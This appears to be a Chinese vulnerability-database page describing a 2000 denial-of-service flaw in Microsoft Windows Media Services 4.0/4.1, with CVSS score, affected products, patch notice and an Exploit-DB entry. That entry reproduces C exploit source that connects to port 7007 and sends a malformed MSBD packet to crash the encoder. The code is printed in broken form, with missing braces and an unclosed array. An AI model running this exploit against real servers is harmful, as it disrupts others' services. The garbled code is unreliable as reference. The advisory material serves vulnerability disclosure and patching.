发布时间 :2000-05-30 00:00:00
修订时间 :2017-10-09 21:29:09

[原文]Microsoft Windows Media Encoder allows remote attackers to cause a denial of service via a malformed request, aka the "Malformed Windows Media Encoder Request" vulnerability.

[CNNVD]Microsoft Media Service DoS漏洞(CNNVD-200005-106)

        Microsoft Windows Media Encoder存在漏洞。远程攻击者借助畸形请求导致拒绝服务,又称为"Malformed Windows Media Encoder Request"漏洞。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:microsoft:windows_media_services:4.0Microsoft windows_media_services 4.0
cpe:/a:microsoft:windows_media_services:4.1Microsoft windows_media_services 4.1

- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BID  1282
(UNKNOWN)  XF  ms-malformed-media-dos

- 漏洞信息

Microsoft Media Service DoS漏洞
中危 其他
2000-05-30 00:00:00 2005-10-12 00:00:00
        Microsoft Windows Media Encoder存在漏洞。远程攻击者借助畸形请求导致拒绝服务,又称为"Malformed Windows Media Encoder Request"漏洞。

- 公告与补丁

        For those who applied the original patch released on May 30, please apply this updated patch that fixes a regression:
        Microsoft Windows Media Services 4.0
        Microsoft Windows Media Services 4.1

- 漏洞信息 (19974)

Microsoft Windows Media Services 4.0/4.1 DoS Vulnerability (EDBID:19974)
windows local
2000-05-31 Verified
0 Kit Knox
N/A [点击下载]

Windows Media Encoder is part of Windows Media Services. It's purpose is to convert content into a suitable format for video or audio streaming through the Media Services.

If a specially malformed request is sent to the Windows Media Encoder it could cause the service to crash. The service would need to be restarted in order to regain normal functionality.

 * Media Streaming Broadcast Distribution (MSBD)
 * Denial of Service Attack
 * (C) 2000 Kit Knox <> - Public Release: 05/31/00
 * Causes the Windows Media Encoder to crash with a "Runtime Error!"
 * "NSREX caused an invalid page fault in module MFC42.DLL at 0177:5f4012a1".
 * Tested on version file "NsRex.exe" 998KB 1/11/00.
 * Official Microsoft patch is available :
 * Thanks to Microsoft and the WMT group for their prompt attention to this
 * matter.

#include <stdio.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>

char bogus_msbd_packet1[] = {
0x4d, 0x53, 0x42, 0x20, 0x06, 0x01, 0x07, 0x00, 0x24, 0x00, 0x00, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x4e, 0x00,
0x65, 0x00, 0x74, 0x00, 0x00, 0x50, 0x53, 0x00, 0x68, 0x00, 0x6f, 0x00,
0x77, 0x00, 0x00, 0x00

int sock;
int main(int argc, char *argv[]) {
  struct hostent *he;
  struct sockaddr_in sa;
  char buf[1024];
  if (argc != 2) {
    fprintf(stderr, "usage: %s <host/ip>\n", argv[0]);
  sock = socket ( AF_INET, SOCK_STREAM, 0);
  sa.sin_family = AF_INET;
  sa.sin_port = htons(7007);
  he = gethostbyname (argv[1]);
  if (!he) {
    if ((sa.sin_addr.s_addr = inet_addr(argv[1])) == INADDR_NONE)
  } else {
    bcopy(he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length);
  if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
    fprintf(stderr, "Fatal Error: Can't connect to Windows Media Encoder.\n");
  write(sock, bogus_msbd_packet1, sizeof(bogus_msbd_packet1));
  for (;;) {
    read(sock, buf, sizeof(buf));


- 漏洞信息

Microsoft Media Encoder Request Parsing Local DoS
Local Access Required Denial of Service
Loss of Availability Patch / RCS
Exploit Public Vendor Verified, Third-party Verified

- 漏洞描述

- 时间线

2000-05-30 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released a patch to address this vulnerability. Check the vendor advisory or solution in the references section.

- 相关参考

- 漏洞作者

Unknown or Incomplete